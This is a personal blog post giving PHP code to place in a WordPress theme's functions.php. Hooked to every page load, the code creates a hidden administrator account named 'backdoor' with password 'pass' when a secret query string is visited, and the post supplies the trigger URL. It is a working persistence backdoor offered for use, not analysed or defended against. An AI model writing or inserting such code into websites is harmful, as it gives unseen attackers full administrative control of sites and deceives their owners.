Personal Blog of

Minhazul Asif

Personal Blog of

Minhazul Asif

How To Create A Secret Backdoor Code For WordPress Admin Access To Push New User

How To Create A Secret Backdoor Code For WordPress

How To Create A Secret Backdoor Code For WordPress

 

*** Put These Codes To : function.php of a wordpress theme (under add_function)

 

add_action( ‘wp_head’, ‘my_backdoor’ );

 

function my_backdoor() {

    if ( md5( $_GET[‘backdoor’] ) == ’34d1f91fb2e514b8576fab1a75a89a6b’ ) {

        require( ‘wp-includes/registration.php’ );

        if ( !username_exists( ‘backdoor’ ) ) {

            $user_id = wp_create_user( ‘backdoor’, ‘pass’ );

            $user = new WP_User( $user_id );

            $user->set_role( ‘administrator’ ); 

        }

    }

}

 

*** To Create The Backdoor, visit with this link:
https://yoursite.com?backdoor=go

 

*** Get the docs of the backdoor codes : 
https://docs.google.com/document/d/1AJ2qMPH2saAr8qznSuNLdsAfKUQ1TfPUEtbTFyoCUNo/


Thanks

Minhazul Asif,
www.whatminhazulasifwrite.com

 

Share on -

Related Articles

minhazul asif

আমি মিনহাজুল আসিফ,

Entrepreneur, Instructor, Web Developer, Freelancer & Cyber Sucurity Expert.

নিজের আইডিয়া গুলো সবার সাথে শেয়ার করার জন্য এই ব্লগ ওয়েবসাইট তৈরী করা। আশা করি আমার ব্লগ পড়ে অনেকেই উপকৃত হবে।

ক্যাটাগরি সমূহ: